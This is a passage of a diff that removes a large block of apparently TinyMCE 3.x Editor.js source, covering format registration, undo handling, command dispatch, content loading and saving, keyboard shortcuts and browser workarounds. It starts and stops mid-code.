: {textAlign : 'left'}}, - {selector : 'img,table', styles : {'float' : 'left'}} - ], - - aligncenter : [ - {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles : {textAlign : 'center'}}, - {selector : 'img', styles : {display : 'block', marginLeft : 'auto', marginRight : 'auto'}}, - {selector : 'table', styles : {marginLeft : 'auto', marginRight : 'auto'}} - ], - - alignright : [ - {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles : {textAlign : 'right'}}, - {selector : 'img,table', styles : {'float' : 'right'}} - ], - - alignfull : [ - {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles : {textAlign : 'justify'}} - ], - - bold : [ - {inline : 'strong'}, - {inline : 'span', styles : {fontWeight : 'bold'}}, - {inline : 'b'} - ], - - italic : [ - {inline : 'em'}, - {inline : 'span', styles : {fontStyle : 'italic'}}, - {inline : 'i'} - ], - - underline : [ - {inline : 'span', styles : {textDecoration : 'underline'}, exact : true}, - {inline : 'u'} - ], - - strikethrough : [ - {inline : 'span', styles : {textDecoration : 'line-through'}, exact : true}, - {inline : 'u'} - ], - - forecolor : {inline : 'span', styles : {color : '%value'}}, - hilitecolor : {inline : 'span', styles : {backgroundColor : '%value'}}, - fontname : {inline : 'span', styles : {fontFamily : '%value'}}, - fontsize : {inline : 'span', styles : {fontSize : '%value'}}, - fontsize_class : {inline : 'span', attributes : {'class' : '%value'}}, - blockquote : {block : 'blockquote', wrapper : 1, remove : 'all'}, - - removeformat : [ - {selector : 'b,strong,em,i,font,u,strike', remove : 'all', split : true, expand : false, block_expand : true, deep : true}, - {selector : 'span', attributes : ['style', 'class'], remove : 'empty', split : true, expand : false, deep : true}, - {selector : '*', attributes : ['style', 'class'], split : false, expand : false, deep : true} - ] - }); - - // Register default block formats - each('p h1 h2 h3 h4 h5 h6 div address pre div code dt dd samp'.split(/\s/), function(name) { - t.formatter.register(name, {block : name, remove : 'all'}); - }); - - // Register user defined formats - t.formatter.register(t.settings.formats); - - t.undoManager = new tinymce.UndoManager(t); - - // Pass through - t.undoManager.onAdd.add(function(um, l) { - if (!l.initial) - return t.onChange.dispatch(t, l, um); - }); - - t.undoManager.onUndo.add(function(um, l) { - return t.onUndo.dispatch(t, l, um); - }); - - t.undoManager.onRedo.add(function(um, l) { - return t.onRedo.dispatch(t, l, um); - }); - - t.forceBlocks = new tinymce.ForceBlocks(t, { - forced_root_block : s.forced_root_block - }); - - t.editorCommands = new tinymce.EditorCommands(t); - - // Pass through - t.serializer.onPreProcess.add(function(se, o) { - return t.onPreProcess.dispatch(t, o, se); - }); - - t.serializer.onPostProcess.add(function(se, o) { - return t.onPostProcess.dispatch(t, o, se); - }); - - t.onPreInit.dispatch(t); - - if (!s.gecko_spellcheck) - t.getBody().spellcheck = 0; - - if (!s.readonly) - t._addEvents(); - - t.controlManager.onPostRender.dispatch(t, t.controlManager); - t.onPostRender.dispatch(t); - - if (s.directionality) - t.getBody().dir = s.directionality; - - if (s.nowrap) - t.getBody().style.whiteSpace = "nowrap"; - - if (s.custom_elements) { - function handleCustom(ed, o) { - each(explode(s.custom_elements), function(v) { - var n; - - if (v.indexOf('~') === 0) { - v = v.substring(1); - n = 'span'; - } else - n = 'div'; - - o.content = o.content.replace(new RegExp('<(' + v + ')([^>]*)>', 'g'), '<' + n + ' _mce_name="$1"$2>'); - o.content = o.content.replace(new RegExp('</(' + v + ')>', 'g'), '</' + n + '>'); - }); - }; - - t.onBeforeSetContent.add(handleCustom); - t.onPostProcess.add(function(ed, o) { - if (o.set) - handleCustom(ed, o); - }); - } - - if (s.handle_node_change_callback) { - t.onNodeChange.add(function(ed, cm, n) { - t.execCallback('handle_node_change_callback', t.id, n, -1, -1, true, t.selection.isCollapsed()); - }); - } - - if (s.save_callback) { - t.onSaveContent.add(function(ed, o) { - var h = t.execCallback('save_callback', t.id, o.content, t.getBody()); - - if (h) - o.content = h; - }); - } - - if (s.onchange_callback) { - t.onChange.add(function(ed, l) { - t.execCallback('onchange_callback', t, l); - }); - } - - if (s.convert_newlines_to_brs) { - t.onBeforeSetContent.add(function(ed, o) { - if (o.initial) - o.content = o.content.replace(/\r?\n/g, '<br />'); - }); - } - - if (s.fix_nesting && isIE) { - t.onBeforeSetContent.add(function(ed, o) { - o.content = t._fixNesting(o.content); - }); - } - - if (s.preformatted) { - t.onPostProcess.add(function(ed, o) { - o.content = o.content.replace(/^\s*<pre.*?>/, ''); - o.content = o.content.replace(/<\/pre>\s*$/, ''); - - if (o.set) - o.content = '<pre class="mceItemHidden">' + o.content + '</pre>'; - }); - } - - if (s.verify_css_classes) { - t.serializer.attribValueFilter = function(n, v) { - var s, cl; - - if (n == 'class') { - // Build regexp for classes - if (!t.classesRE) { - cl = t.dom.getClasses(); - - if (cl.length > 0) { - s = ''; - - each (cl, function(o) { - s += (s ? '|' : '') + o['class']; - }); - - t.classesRE = new RegExp('(' + s + ')', 'gi'); - } - } - - return !t.classesRE || /(\bmceItem\w+\b|\bmceTemp\w+\b)/g.test(v) || t.classesRE.test(v) ? v : ''; - } - - return v; - }; - } - - if (s.cleanup_callback) { - t.onBeforeSetContent.add(function(ed, o) { - o.content = t.execCallback('cleanup_callback', 'insert_to_editor', o.content, o); - }); - - t.onPreProcess.add(function(ed, o) { - if (o.set) - t.execCallback('cleanup_callback', 'insert_to_editor_dom', o.node, o); - - if (o.get) - t.execCallback('cleanup_callback', 'get_from_editor_dom', o.node, o); - }); - - t.onPostProcess.add(function(ed, o) { - if (o.set) - o.content = t.execCallback('cleanup_callback', 'insert_to_editor', o.content, o); - - if (o.get) - o.content = t.execCallback('cleanup_callback', 'get_from_editor', o.content, o); - }); - } - - if (s.save_callback) { - t.onGetContent.add(function(ed, o) { - if (o.save) - o.content = t.execCallback('save_callback', t.id, o.content, t.getBody()); - }); - } - - if (s.handle_event_callback) { - t.onEvent.add(function(ed, e, o) { - if (t.execCallback('handle_event_callback', e, ed, o) === false) - Event.cancel(e); - }); - } - - // Add visual aids when new contents is added - t.onSetContent.add(function() { - t.addVisual(t.getBody()); - }); - - // Remove empty contents - if (s.padd_empty_editor) { - t.onPostProcess.add(function(ed, o) { - o.content = o.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/, ''); - }); - } - - if (isGecko) { - // Fix gecko link bug, when a link is placed at the end of block elements there is - // no way to move the caret behind the link. This fix adds a bogus br element after the link - function fixLinks(ed, o) { - each(ed.dom.select('a'), function(n) { - var pn = n.parentNode; - - if (ed.dom.isBlock(pn) && pn.lastChild === n) - ed.dom.add(pn, 'br', {'_mce_bogus' : 1}); - }); - }; - - t.onExecCommand.add(function(ed, cmd) { - if (cmd === 'CreateLink') - fixLinks(ed); - }); - - t.onSetContent.add(t.selection.onSetContent.add(fixLinks)); - - if (!s.readonly) { - try { - // Design mode must be set here once again to fix a bug where - // Ctrl+A/Delete/Backspace didn't work if the editor was added using mceAddControl then removed then added again - d.designMode = 'Off'; - d.designMode = 'On'; - } catch (ex) { - // Will fail on Gecko if the editor is placed in an hidden container element - // The design mode will be set ones the editor is focused - } - } - } - - // A small timeout was needed since firefox will remove. Bug: #1838304 - setTimeout(function () { - if (t.removed) - return; - - t.load({initial : true, format : (s.cleanup_on_startup ? 'html' : 'raw')}); - t.startContent = t.getContent({format : 'raw'}); - t.initialized = true; - - t.onInit.dispatch(t); - t.execCallback('setupcontent_callback', t.id, t.getBody(), t.getDoc()); - t.execCallback('init_instance_callback', t); - t.focus(true); - t.nodeChanged({initial : 1}); - - // Load specified content CSS last - if (s.content_css) { - tinymce.each(explode(s.content_css), function(u) { - t.dom.loadCSS(t.documentBaseURI.toAbsolute(u)); - }); - } - - // Handle auto focus - if (s.auto_focus) { - setTimeout(function () { - var ed = tinymce.get(s.auto_focus); - - ed.selection.select(ed.getBody(), 1); - ed.selection.collapse(1); - ed.getWin().focus(); - }, 100); - } - }, 1); - - e = null; - }, - - - focus : function(sf) { - var oed, t = this, ce = t.settings.content_editable, ieRng, controlElm, doc = t.getDoc(); - - if (!sf) { - // Get selected control element - ieRng = t.selection.getRng(); - if (ieRng.item) { - controlElm = ieRng.item(0); - } - - // Is not content editable - if (!ce) - t.getWin().focus(); - - // Restore selected control element - // This is needed when for example an image is selected within a - // layer a call to focus will then remove the control selection - if (controlElm && controlElm.ownerDocument == doc) { - ieRng = doc.body.createControlRange(); - ieRng.addElement(controlElm); - ieRng.select(); - } - - } - - if (tinymce.activeEditor != t) { - if ((oed = tinymce.activeEditor) != null) - oed.onDeactivate.dispatch(oed, t); - - t.onActivate.dispatch(t, oed); - } - - tinymce._setActive(t); - }, - - execCallback : function(n) { - var t = this, f = t.settings[n], s; - - if (!f) - return; - - // Look through lookup - if (t.callbackLookup && (s = t.callbackLookup[n])) { - f = s.func; - s = s.scope; - } - - if (is(f, 'string')) { - s = f.replace(/\.\w+$/, ''); - s = s ? tinymce.resolve(s) : 0; - f = tinymce.resolve(f); - t.callbackLookup = t.callbackLookup || {}; - t.callbackLookup[n] = {func : f, scope : s}; - } - - return f.apply(s || t, Array.prototype.slice.call(arguments, 1)); - }, - - translate : function(s) { - var c = this.settings.language || 'en', i18n = tinymce.i18n; - - if (!s) - return ''; - - return i18n[c + '.' + s] || s.replace(/{\#([^}]+)\}/g, function(a, b) { - return i18n[c + '.' + b] || '{#' + b + '}'; - }); - }, - - getLang : function(n, dv) { - return tinymce.i18n[(this.settings.language || 'en') + '.' + n] || (is(dv) ? dv : '{#' + n + '}'); - }, - - getParam : function(n, dv, ty) { - var tr = tinymce.trim, v = is(this.settings[n]) ? this.settings[n] : dv, o; - - if (ty === 'hash') { - o = {}; - - if (is(v, 'string')) { - each(v.indexOf('=') > 0 ? v.split(/[;,](?![^=;,]*(?:[;,]|$))/) : v.split(','), function(v) { - v = v.split('='); - - if (v.length > 1) - o[tr(v[0])] = tr(v[1]); - else - o[tr(v[0])] = tr(v); - }); - } else - o = v; - - return o; - } - - return v; - }, - - nodeChanged : function(o) { - var t = this, s = t.selection, n = (isIE ? s.getNode() : s.getStart()) || t.getBody(); - - // Fix for bug #1896577 it seems that this can not be fired while the editor is loading - if (t.initialized) { - o = o || {}; - n = isIE && n.ownerDocument != t.getDoc() ? t.getBody() : n; // Fix for IE initial state - - // Get parents and add them to object - o.parents = []; - t.dom.getParent(n, function(node) { - if (node.nodeName == 'BODY') - return true; - - o.parents.push(node); - }); - - t.onNodeChange.dispatch( - t, - o ? o.controlManager || t.controlManager : t.controlManager, - n, - s.isCollapsed(), - o - ); - } - }, - - addButton : function(n, s) { - var t = this; - - t.buttons = t.buttons || {}; - t.buttons[n] = s; - }, - - addCommand : function(n, f, s) { - this.execCommands[n] = {func : f, scope : s || this}; - }, - - addQueryStateHandler : function(n, f, s) { - this.queryStateCommands[n] = {func : f, scope : s || this}; - }, - - addQueryValueHandler : function(n, f, s) { - this.queryValueCommands[n] = {func : f, scope : s || this}; - }, - - addShortcut : function(pa, desc, cmd_func, sc) { - var t = this, c; - - if (!t.settings.custom_shortcuts) - return false; - - t.shortcuts = t.shortcuts || {}; - - if (is(cmd_func, 'string')) { - c = cmd_func; - - cmd_func = function() { - t.execCommand(c, false, null); - }; - } - - if (is(cmd_func, 'object')) { - c = cmd_func; - - cmd_func = function() { - t.execCommand(c[0], c[1], c[2]); - }; - } - - each(explode(pa), function(pa) { - var o = { - func : cmd_func, - scope : sc || this, - desc : desc, - alt : false, - ctrl : false, - shift : false - }; - - each(explode(pa, '+'), function(v) { - switch (v) { - case 'alt': - case 'ctrl': - case 'shift': - o[v] = true; - break; - - default: - o.charCode = v.charCodeAt(0); - o.keyCode = v.toUpperCase().charCodeAt(0); - } - }); - - t.shortcuts[(o.ctrl ? 'ctrl' : '') + ',' + (o.alt ? 'alt' : '') + ',' + (o.shift ? 'shift' : '') + ',' + o.keyCode] = o; - }); - - return true; - }, - - execCommand : function(cmd, ui, val, a) { - var t = this, s = 0, o, st; - - if (!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(cmd) && (!a || !a.skip_focus)) - t.focus(); - - o = {}; - t.onBeforeExecCommand.dispatch(t, cmd, ui, val, o); - if (o.terminate) - return false; - - // Command callback - if (t.execCallback('execcommand_callback', t.id, t.selection.getNode(), cmd, ui, val)) { - t.onExecCommand.dispatch(t, cmd, ui, val, a); - return true; - } - - // Registred commands - if (o = t.execCommands[cmd]) { - st = o.func.call(o.scope, ui, val); - - // Fall through on true - if (st !== true) { - t.onExecCommand.dispatch(t, cmd, ui, val, a); - return st; - } - } - - // Plugin commands - each(t.plugins, function(p) { - if (p.execCommand && p.execCommand(cmd, ui, val)) { - t.onExecCommand.dispatch(t, cmd, ui, val, a); - s = 1; - return false; - } - }); - - if (s) - return true; - - // Theme commands - if (t.theme && t.theme.execCommand && t.theme.execCommand(cmd, ui, val)) { - t.onExecCommand.dispatch(t, cmd, ui, val, a); - return true; - } - - // Execute global commands - if (tinymce.GlobalCommands.execCommand(t, cmd, ui, val)) { - t.onExecCommand.dispatch(t, cmd, ui, val, a); - return true; - } - - // Editor commands - if (t.editorCommands.execCommand(cmd, ui, val)) { - t.onExecCommand.dispatch(t, cmd, ui, val, a); - return true; - } - - // Browser commands - t.getDoc().execCommand(cmd, ui, val); - t.onExecCommand.dispatch(t, cmd, ui, val, a); - }, - - queryCommandState : function(cmd) { - var t = this, o, s; - - // Is hidden then return undefined - if (t._isHidden()) - return; - - // Registred commands - if (o = t.queryStateCommands[cmd]) { - s = o.func.call(o.scope); - - // Fall though on true - if (s !== true) - return s; - } - - // Registred commands - o = t.editorCommands.queryCommandState(cmd); - if (o !== -1) - return o; - - // Browser commands - try { - return this.getDoc().queryCommandState(cmd); - } catch (ex) { - // Fails sometimes see bug: 1896577 - } - }, - - queryCommandValue : function(c) { - var t = this, o, s; - - // Is hidden then return undefined - if (t._isHidden()) - return; - - // Registred commands - if (o = t.queryValueCommands[c]) { - s = o.func.call(o.scope); - - // Fall though on true - if (s !== true) - return s; - } - - // Registred commands - o = t.editorCommands.queryCommandValue(c); - if (is(o)) - return o; - - // Browser commands - try { - return this.getDoc().queryCommandValue(c); - } catch (ex) { - // Fails sometimes see bug: 1896577 - } - }, - - show : function() { - var t = this; - - DOM.show(t.getContainer()); - DOM.hide(t.id); - t.load(); - }, - - hide : function() { - var t = this, d = t.getDoc(); - - // Fixed bug where IE has a blinking cursor left from the editor - if (isIE && d) - d.execCommand('SelectAll'); - - // We must save before we hide so Safari doesn't crash - t.save(); - DOM.hide(t.getContainer()); - DOM.setStyle(t.id, 'display', t.orgDisplay); - }, - - isHidden : function() { - return !DOM.isHidden(this.id); - }, - - setProgressState : function(b, ti, o) { - this.onSetProgressState.dispatch(this, b, ti, o); - - return b; - }, - - load : function(o) { - var t = this, e = t.getElement(), h; - - if (e) { - o = o || {}; - o.load = true; - - // Double encode existing entities in the value - h = t.setContent(is(e.value) ? e.value : e.innerHTML, o); - o.element = e; - - if (!o.no_events) - t.onLoadContent.dispatch(t, o); - - o.element = e = null; - - return h; - } - }, - - save : function(o) { - var t = this, e = t.getElement(), h, f; - - if (!e || !t.initialized) - return; - - o = o || {}; - o.save = true; - - // Add undo level will trigger onchange event - if (!o.no_events) { - t.undoManager.typing = 0; - t.undoManager.add(); - } - - o.element = e; - h = o.content = t.getContent(o); - - if (!o.no_events) - t.onSaveContent.dispatch(t, o); - - h = o.content; - - if (!/TEXTAREA|INPUT/i.test(e.nodeName)) { - e.innerHTML = h; - - // Update hidden form element - if (f = DOM.getParent(t.id, 'form')) { - each(f.elements, function(e) { - if (e.name == t.id) { - e.value = h; - return false; - } - }); - } - } else - e.value = h; - - o.element = e = null; - - return h; - }, - - setContent : function(h, o) { - var t = this; - - o = o || {}; - o.format = o.format || 'html'; - o.set = true; - o.content = h; - - if (!o.no_events) - t.onBeforeSetContent.dispatch(t, o); - - // Padd empty content in Gecko and Safari. Commands will otherwise fail on the content - // It will also be impossible to place the caret in the editor unless there is a BR element present - if (!tinymce.isIE && (h.length === 0 || /^\s+$/.test(h))) { - o.content = t.dom.setHTML(t.getBody(), '<br _mce_bogus="1" />'); - o.format = 'raw'; - } - - o.content = t.dom.setHTML(t.getBody(), tinymce.trim(o.content)); - - if (o.format != 'raw' && t.settings.cleanup) { - o.getInner = true; - o.content = t.dom.setHTML(t.getBody(), t.serializer.serialize(t.getBody(), o)); - } - - if (!o.no_events) - t.onSetContent.dispatch(t, o); - - return o.content; - }, - - getContent : function(o) { - var t = this, h; - - o = o || {}; - o.format = o.format || 'html'; - o.get = true; - - if (!o.no_events) - t.onBeforeGetContent.dispatch(t, o); - - if (o.format != 'raw' && t.settings.cleanup) { - o.getInner = true; - h = t.serializer.serialize(t.getBody(), o); - } else - h = t.getBody().innerHTML; - - h = h.replace(/^\s*|\s*$/g, ''); - o.content = h; - - if (!o.no_events) - t.onGetContent.dispatch(t, o); - - return o.content; - }, - - isDirty : function() { - var t = this; - - return tinymce.trim(t.startContent) != tinymce.trim(t.getContent({format : 'raw', no_events : 1})) && !t.isNotDirty; - }, - - getContainer : function() { - var t = this; - - if (!t.container) - t.container = DOM.get(t.editorContainer || t.id + '_parent'); - - return t.container; - }, - - getContentAreaContainer : function() { - return this.contentAreaContainer; - }, - - getElement : function() { - return DOM.get(this.settings.content_element || this.id); - }, - - getWin : function() { - var t = this, e; - - if (!t.contentWindow) { - e = DOM.get(t.id + "_ifr"); - - if (e) - t.contentWindow = e.contentWindow; - } - - return t.contentWindow; - }, - - getDoc : function() { - var t = this, w; - - if (!t.contentDocument) { - w = t.getWin(); - - if (w) - t.contentDocument = w.document; - } - - return t.contentDocument; - }, - - getBody : function() { - return this.bodyElement || this.getDoc().body; - }, - - convertURL : function(u, n, e) { - var t = this, s = t.settings; - - // Use callback instead - if (s.urlconverter_callback) - return t.execCallback('urlconverter_callback', u, e, true, n); - - // Don't convert link href since thats the CSS files that gets loaded into the editor also skip local file URLs - if (!s.convert_urls || (e && e.nodeName == 'LINK') || u.indexOf('file:') === 0) - return u; - - // Convert to relative - if (s.relative_urls) - return t.documentBaseURI.toRelative(u); - - // Convert to absolute - u = t.documentBaseURI.toAbsolute(u, s.remove_script_host); - - return u; - }, - - addVisual : function(e) { - var t = this, s = t.settings; - - e = e || t.getBody(); - - if (!is(t.hasVisual)) - t.hasVisual = s.visual; - - each(t.dom.select('table,a', e), function(e) { - var v; - - switch (e.nodeName) { - case 'TABLE': - v = t.dom.getAttrib(e, 'border'); - - if (!v || v == '0') { - if (t.hasVisual) - t.dom.addClass(e, s.visual_table_class); - else - t.dom.removeClass(e, s.visual_table_class); - } - - return; - - case 'A': - v = t.dom.getAttrib(e, 'name'); - - if (v) { - if (t.hasVisual) - t.dom.addClass(e, 'mceItemAnchor'); - else - t.dom.removeClass(e, 'mceItemAnchor'); - } - - return; - } - }); - - t.onVisualAid.dispatch(t, e, t.hasVisual); - }, - - remove : function() { - var t = this, e = t.getContainer(); - - t.removed = 1; // Cancels post remove event execution - t.hide(); - - t.execCallback('remove_instance_callback', t); - t.onRemove.dispatch(t); - - // Clear all execCommand listeners this is required to avoid errors if the editor was removed inside another command - t.onExecCommand.listeners = []; - - tinymce.remove(t); - DOM.remove(e); - }, - - destroy : function(s) { - var t = this; - - // One time is enough - if (t.destroyed) - return; - - if (!s) { - tinymce.removeUnload(t.destroy); - tinyMCE.onBeforeUnload.remove(t._beforeUnload); - - // Manual destroy - if (t.theme && t.theme.destroy) - t.theme.destroy(); - - // Destroy controls, selection and dom - t.controlManager.destroy(); - t.selection.destroy(); - t.dom.destroy(); - - // Remove all events - - // Don't clear the window or document if content editable - // is enabled since other instances might still be present - if (!t.settings.content_editable) { - Event.clear(t.getWin()); - Event.clear(t.getDoc()); - } - - Event.clear(t.getBody()); - Event.clear(t.formElement); - } - - if (t.formElement) { - t.formElement.submit = t.formElement._mceOldSubmit; - t.formElement._mceOldSubmit = null; - } - - t.contentAreaContainer = t.formElement = t.container = t.settings.content_element = t.bodyElement = t.contentDocument = t.contentWindow = null; - - if (t.selection) - t.selection = t.selection.win = t.selection.dom = t.selection.dom.doc = null; - - t.destroyed = 1; - }, - - // Internal functions - - _addEvents : function() { - // 'focus', 'blur', 'dblclick', 'beforedeactivate', submit, reset - var t = this, i, s = t.settings, lo = { - mouseup : 'onMouseUp', - mousedown : 'onMouseDown', - click : 'onClick', - keyup : 'onKeyUp', - keydown : 'onKeyDown', - keypress : 'onKeyPress', - submit : 'onSubmit', - reset : 'onReset', - contextmenu : 'onContextMenu', - dblclick : 'onDblClick', - paste : 'onPaste' // Doesn't work in all browsers yet - }; - - function eventHandler(e, o) { - var ty = e.type; - - // Don't fire events when it's removed - if (t.removed) - return; - - // Generic event handler - if (t.onEvent.dispatch(t, e, o) !== false) { - // Specific event handler - t[lo[e.fakeType || e.type]].dispatch(t, e, o); - } - }; - - // Add DOM events - each(lo, function(v, k) { - switch (k) { - case 'contextmenu': - if (tinymce.isOpera) { - // Fake contextmenu on Opera - t.dom.bind(t.getBody(), 'mousedown', function(e) { - if (e.ctrlKey) { - e.fakeType = 'contextmenu'; - eventHandler(e); - } - }); - } else - t.dom.bind(t.getBody(), k, eventHandler); - break; - - case 'paste': - t.dom.bind(t.getBody(), k, function(e) { - eventHandler(e); - }); - break; - - case 'submit': - case 'reset': - t.dom.bind(t.getElement().form || DOM.getParent(t.id, 'form'), k, eventHandler); - break; - - default: - t.dom.bind(s.content_editable ? t.getBody() : t.getDoc(), k, eventHandler); - } - }); - - t.dom.bind(s.content_editable ? t.getBody() : (isGecko ? t.getDoc() : t.getWin()), 'focus', function(e) { - t.focus(true); - }); - - - // Fixes bug where a specified document_base_uri could result in broken images - // This will also fix drag drop of images in Gecko - if (tinymce.isGecko) { - // Convert all images to absolute URLs -/* t.onSetContent.add(function(ed, o) { - each(ed.dom.select('img'), function(e) { - var v; - - if (v = e.getAttribute('_mce_src')) - e.src = t.documentBaseURI.toAbsolute(v); - }) - });*/ - - t.dom.bind(t.getDoc(), 'DOMNodeInserted', function(e) { - var v; - - e = e.target; - - if (e.nodeType === 1 && e.nodeName === 'IMG' && (v = e.getAttribute('_mce_src'))) - e.src = t.documentBaseURI.toAbsolute(v); - }); - } - - // Set various midas options in Gecko - if (isGecko) { - function setOpts() { - var t = this, d = t.getDoc(), s = t.settings; - - if (isGecko && !s.readonly) { - if (t._isHidden()) { - try { - if (!s.content_editable) - d.designMode = 'On'; - } catch (ex) { - // Fails if it's hidden - } - } - - try { - // Try new Gecko method - d.execCommand("styleWithCSS", 0, false); - } catch (ex) { - // Use old method - if (!t._isHidden()) - try {d.execCommand("useCSS", 0, true);} catch (ex) {} - } - - if (!s.table_inline_editing) - try {d.execCommand('enableInlineTableEditing', false, false);} catch (ex) {} - - if (!s.object_resizing) - try {d.execCommand('enableObjectResizing', false, false);} catch (ex) {} - } - }; - - t.onBeforeExecCommand.add(setOpts); - t.onMouseDown.add(setOpts); - } - - // Workaround for bug, http://bugs.webkit.org/show_bug.cgi?id=12250 - // WebKit can't even do simple things like selecting an image - // This also fixes so it's possible to select mceItemAnchors - if (tinymce.isWebKit) { - t.onClick.add(function(ed, e) { - e = e.target; - - // Needs tobe the setBaseAndExtend or it will fail to select floated images - if (e.nodeName == 'IMG' || (e.nodeName == 'A' && t.dom.hasClass(e, 'mceItemAnchor'))) - t.selection.getSel().setBaseAndExtent(e, 0, e, 1); - }); - } - - // Add node change handlers - t.onMouseUp.add(t.nodeChanged); - //t.onClick.add(t.nodeChanged); - t.onKeyUp.add(function(ed, e) { - var c = e.keyCode; - - if ((c >= 33 && c <= 36) || (c >= 37 && c <= 40) || c == 13 || c == 45 || c == 46 || c == 8 || (tinymce.isMac && (c == 91 || c == 93)) || e.ctrlKey) - t.nodeChanged(); - }); - - // Add reset handler - t.onReset.add(function() { - t.setContent(t.startContent, {format : 'raw'}); - }); - - // Add shortcuts - if (s.custom_shortcuts) { - if (s.custom_undo_redo_keyboard_shortcuts) { - t.addShortcut('ctrl+z', t.getLang('undo_desc'), 'Undo'); - t.addShortcut('ctrl+y', t.getLang('redo_desc'), 'Redo'); - } - - // Add default shortcuts for gecko - t.addShortcut('ctrl+b', t.getLang('bold_desc'), 'Bold'); - t.addShortcut('ctrl+i', t.getLang('italic_desc'), 'Italic'); - t.addShortcut('ctrl+u', t.getLang('underline_desc'), 'Underline'); - - // BlockFormat shortcuts keys - for (i=1; i<=6; i++) - t.addShortcut('ctrl+' + i, '', ['FormatBlock', false, 'h' + i]); - - t.addShortcut('ctrl+7', '', ['FormatBlock', false, '<p>']); - t.addShortcut('ctrl+8', '', ['FormatBlock', false, '<div>']); - t.addShortcut('ctrl+9', '', ['FormatBlock', false, '<address>']); - - function find(e) { - var v = null; - - if (!e.altKey && !e.ctrlKey && !e.metaKey) - return v; - - each(t.shortcuts, function(o) { - if (tinymce.isMac && o.ctrl != e.metaKey) - return; - else if (!tinymce.isMac && o.ctrl != e.ctrlKey) - return; - - if (o.alt != e.altKey) - return; - - if (o.shift != e.shiftKey) - return; - - if (e.keyCode == o.keyCode || (e.charCode && e.charCode == o.charCode)) { - v = o; - return false; - } - }); - - return v; - }; - - t.onKeyUp.add(function(ed, e) { - var o = find(e); - - if (o) - return Event.cancel(e); - }); - - t.onKeyPress.add(function(ed, e) { - var o = find(e); - - if (o) - return Event.cancel(e); - }); - - t.onKeyDown.add(function(ed, e) { - var o = find(e); - - if (o) { - o.func.call(o.scope); - return Event.cancel(e); - } - }); - } - - if (tinymce.isIE) { - // Fix so resize will only update the width and height attributes not the styles of an image - // It will also block mceItemNoResize items - t.dom.bind(t.getDoc(), 'controlselect', function(e) { - var re = t.resizeInfo, cb; - - e = e.target; - - // Don't do this action for non image elements - if (e.nodeName !== 'IMG') - return; - - if (re) - t.dom.unbind(re.node, re.ev, re.cb); - - if (!t.dom.hasClass(e, 'mceItemNoResize')) { - ev = 'resizeend'; - cb = t.dom.bind(e, ev, function(e) { - var v; - - e = e.target; - - if (v = t.dom.getStyle(e, 'width')) { - t.dom.setAttrib(e, 'width', v.replace(/[^0-9%]+/g, '')); - t.dom.setStyle(e, 'width', ''); - } - - if (v = t.dom.getStyle(e, 'height')) { - t.dom.setAttrib(e, 'height', v.replace(/[^0-9%]+/g, '')); - t.dom.setStyle(e, 'height', ''); - } - }); - } else { - ev = 'resizestart'; - cb = t.dom.bind(e, 'resizestart', Event.cancel, Event); - } - - re = t.resizeInfo = { - node : e, - ev : ev, - cb : cb - }; - }); - - t.onKeyDown.add(function(ed, e) { - switch (e.keyCode) { - case 8: - // Fix IE control + backspace browser bug - if (t.selection.getRng().item) { - ed.dom.remove(t.selection.getRng().item(0)); - return Event.cancel(e); - } - } - }); - - /*if (t.dom.boxModel) { - t.getBody().style.height = '100%'; - - Event.add(t.getWin(), 'resize', function(e) { - var docElm = t.getDoc().documentElement; - - docElm.style.height = (docElm.offsetHeight - 10) + 'px'; - }); - }*/ - } - - if (tinymce.isOpera) { - t.onClick.add(function(ed, e) { - Event.prevent(e); - }); - } - - // Add custom undo/redo handlers - if (s.custom_undo_redo) { - function addUndo() { - t.undoManager.typing = 0; - t.undoManager.add(); - }; - - t.dom.bind(t.getDoc(), 'focusout', function(e) { - if (!t.removed && t.undoManager.typing) - addUndo(); - }); - - t.onKeyUp.add(function(ed, e) { - if ((e.keyCode >= 33 && e.keyCode <= 36) || (e.keyCode >= 37 && e.keyCode <= 40) || e.keyCode == 13 || e.keyCode == 45 || e.ctrlKey) - addUndo(); - }); - - t.onKeyDown.add(function(ed, e) { - var rng, parent, bookmark; - - // IE has a really odd bug where the DOM might include an node that doesn't have - // a proper structure. If you try to access nodeValue it would throw an illegal value exception. - // This seems to only happen when you delete contents and it seems to be avoidable if you refresh the element - // after you delete contents from it. See: #3008923 - if (isIE && e.keyCode == 46) { - rng = t.selection.getRng(); - - if (rng.parentElement) { - parent = rng.parentElement(); - - // Select next word when ctrl key is used in combo with delete - if (e.ctrlKey) { - rng.moveEnd('word', 1); - rng.select(); - } - - // Delete contents - t.selection.getSel().clear(); - - // Check if we are within the same parent - if (rng.parentElement() == parent) { - bookmark = t.selection.getBookmark(); - - try { - // Update the HTML and hopefully it will remove the artifacts - parent.innerHTML = parent.innerHTML; - } catch (ex) { - // And since it's IE it can sometimes produce an unknown runtime error - } - - // Restore the caret position - t.selection.moveToBookmark(bookmark); - } - - // Block the default delete behavior since it might be broken - e.preventDefault(); - return; - } - } - - // Is caracter positon keys - if ((e.keyCode >= 33 && e.keyCode <= 36) || (e.keyCode >= 37 && e.keyCode <= 40) || e.keyCode == 13 || e.keyCode == 45) { - if (t.undoManager.typing) - addUndo(); - - return; - } - - if (!t.undoManager.typing) { - t.undoManager.add(); - t.undoManager.typing = 1; - } - }); - - t.onMouseDown.add(function() { - if (t.undoManager.typing) - addUndo(); - }); - } - }, - - _isHidden : function() { - var s; - - if (!isGecko) - return 0; - - // Weird, wheres that cursor selection? - s = this.selection.getSel(); - return (!s || !s.rangeCount || s.rangeCount == 0); - }, - - // Fix for bug #1867292 - _fixNesting : function(s) { - var d = [], i; - - s = s.replace(/<(\/)?([^\s>]+)[^>]*?>/g, function(a, b, c) { - var e; - - // Handle end element - if (b === '/') { - if (!d.length) - return ''; - - if (c !== d[d.length - 1].tag) { - for (i=d.length - 1; i>=0; i--) { - if (d[i].tag === c) { - d[i].close = 1; - break; - } - } - - return ''; - } else { - d.pop(); - - if (d.length && d[d.length - 1].close) { - a = a + '</' + d[d.length - 1].tag + '>'; - d.pop(); - } - } - } else { - // Ignore these - if (/^(br|hr|input|meta|img|link|param)$/i.test(c)) - return a; - - // Ignore closed 